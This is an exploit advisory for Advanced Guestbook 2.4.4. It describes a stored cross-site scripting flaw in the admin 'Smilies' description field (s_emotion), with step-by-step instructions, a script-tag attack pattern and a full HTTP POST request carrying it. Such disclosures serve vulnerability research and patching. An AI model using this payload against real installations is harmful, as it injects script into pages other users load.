Advanced Guestbook 2.4.4 Cross Site Scripting

`# Exploit Title: Advanced Guestbook 2.4.4 - 'Smilies' Persistent Cross-Site Scripting (XSS)  
# Date: 17/08/2021  
# Exploit Author: Abdulkadir AYDOGAN  
# Vendor Homepage: https://www.ampps.com/apps/guestbooks/Advanced_Guestbook  
# Software Link: https://www.ampps.com/apps/guestbooks/Advanced_Guestbook  
# Version: 2.4.4  
  
Advanced Guestbook is a free open source guestbook script developed in PHP.  
Examples of features include email notifications, uploading pictures, html  
tags handling, multiple polls, comments and themes.  
  
#Description  
The following is PoC to use the XSS bug with authorized user.  
  
Firstly there are four part of a emotion object which is :  
  
- Emotion icon  
- Emotion file name  
- Emotion command which will be used to call this object (s_code)  
- Emotion description (s_emotion)  
  
Here is the exploitation steps for vulnerability:  
  
1. Login to your admin account.  
2. Go to "Smilies" tab to view and edit emotion icons  
3. Click "edit" text in the "Action" column to edit emotions  
4. Change emotion description to Javascript code  
5. Click the "Submit Settings"  
6. Click "Smilies" tab again to view all emotions and Javascript code will  
be executed  
  
# Vulnerable Parameter Type: POST  
# Vulnerable Parameter: s_emotion  
# Attack Pattern: <script>alert("Smile more!")</script>  
  
#PoC  
HTTP Request:  
  
POST /advancedguestbook/admin.php HTTP/1.1  
Host: HOST_ADDRESS  
Content-Length: 175  
Cache-Control: max-age=0  
Upgrade-Insecure-Requests: 1  
Origin: http://HOST_ADDRESS  
Content-Type: application/x-www-form-urlencoded  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36  
(KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36  
Accept:  
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9  
Referer:  
http://HOST_ADDRESS/advancedguestbook/admin.php?action=smilies&session=17395de9919fffa0ac9476370c2c7ba0&uid=1&edit_smilie=7  
Accept-Encoding: gzip, deflate  
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8  
Cookie: _ga=GA1.2.2068746825.1621203842; _gid=GA1.2.1432458757.1621203842;  
_gat=1  
Connection: close  
  
s_code=:cool:&s_emotion=<script>alert("Smile  
more!")</script>&edit_smilie=7&uid=1&session=17395de9919fffa0ac9476370c2c7ba0&action=smilies&add_smilies=1  
`